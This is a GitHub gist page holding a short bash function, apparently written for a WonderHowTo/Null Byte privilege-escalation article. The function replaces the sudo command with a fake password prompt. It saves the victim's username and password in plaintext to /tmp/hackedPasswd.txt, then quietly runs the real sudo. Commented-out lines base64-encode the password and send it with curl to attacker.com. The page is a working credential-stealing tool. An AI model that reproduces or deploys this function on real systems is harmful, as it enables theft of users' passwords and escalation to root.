Skip to content

Instantly share code, notes, and snippets.

@mgherghi
Forked from tokyoneon/sudo
Created June 10, 2019 17:00
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mgherghi/dac017f1d37522a1347bb76484545039 to your computer and use it in GitHub Desktop.
Save mgherghi/dac017f1d37522a1347bb76484545039 to your computer and use it in GitHub Desktop.
Sudo function for stealing Unix passwords; script for WonderHowTo article
function sudo ()
{
# https://null-byte.com/privesc-0194190/
realsudo="$(which sudo)";
read -s -p "[sudo] password for $USER: " inputPasswd;
printf "\n";
printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt;
# encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;
# curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1;
$realsudo -S -u root bash -c "exit" <<< "$inputPasswd" > /dev/null 2>&1;
$realsudo "${@:1}"
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment